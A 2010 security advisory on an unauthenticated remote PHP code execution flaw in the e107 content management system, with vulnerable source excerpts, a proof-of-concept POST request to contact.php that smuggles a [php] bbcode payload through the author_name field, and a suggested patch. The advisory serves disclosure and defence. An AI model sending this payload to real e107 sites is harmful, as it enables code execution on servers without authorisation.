MOPS-2010-035: e107 BBCode Remote PHP Code Execution Vulnerability

May 19th, 2010

It was discovered that access control to the [php] bbcode which allows executing PHP code is wrongly implemented in e107. This allows unauthenticated users to execute arbitrary PHP code easily.

Affected versions

Affected is e107 <= 0.7.20
MOPS-2010-111
MOPS-2010-112

Risk

Highly Critical.

Credits

The vulnerability was discovered by Stefan Esser.

About e107

e107 is a content management system written in PHP and using the popular open source MySQL database system for content storage. It's completely free, totally customisable and in constant development.

Detailed information

Within e107 there is a special bbcode [php] that allows executing arbitrary PHP code. Because it is rather dangerous the configuration of e107 disables access to this bbcode for all users normally. The admin of a e107 site can activate it on demand for certain user groups.

While auditing e107 it was discovered that the access control checks are not within the core of the bbcode parser but in some outer functions that call the bbcode parser. An example for such a check is seen below.

```
function post_toHTML($text, $modifier = true, $extra = '') {
   ...

   //If user is not allowed to use [php] change to entities
   if(!check_class($pref['php_bbcode']))
   {
      $text = preg_replace("#\[(php)#i", "&#91;\\1", $text);
   }

   return ($modifier ? $this->toHTML($text, true, $extra) : $text);
}
```

This code shows that there is most likely no access check to [php] in the toHTML() method (and indeed there is not), because it is checked outside of it. This means user input should never be allowed to reach the toHTML() method directly because otherwise it will result in a remote PHP code execution vulnerability.

However when looking at the code it is possible in several different places for user input to reach toHTML() directly. One example is within the toEmail() method. **(NOTE: this is only ONE example)**

```
function toEmail($text,$posted="",$mods="parse_sc, no_make_clickable")
{
   if ($posted === TRUE && MAGIC_QUOTES_GPC)
   {
      $text = stripslashes($text);
   }

   $text = (strtolower($mods) != "rawtext") ? $this->replaceConstants($text,"full") : $text;
   $text = $this->toHTML($text,TRUE,$mods);
   return $text;
}
```

So if user input is used with the toEmail() method it will result in a remote PHP code execution vulnerability. One of the places where this happens is within the contact.php file.

```
if(isset($_POST['send-contactus'])){

   $error = "";

   $sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");
   $sender = check_email($_POST['email_send']);
   $subject = $tp->toEmail($_POST['subject'],TRUE,"rawtext");
   $body = $tp->toEmail($_POST['body'],TRUE,"rawtext");
```

This means a simple POST request to the contact.php file can execute arbitrary PHP code on the

server.

Proof of concept, exploit or instructions to reproduce

The following POST request will execute harmless PHP code on any e107 installation.

POST /contact.php HTTP/1.1
Host: xxxx
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&

Notes

This vulnerability has been disclosed to the e107 authors one day ago.

There is no official fix for it. However it is strongly recommended to patch the file /e107_files/bbcode /php.bb and replace it with a single line to disable the [php] bbcode completely.

return '';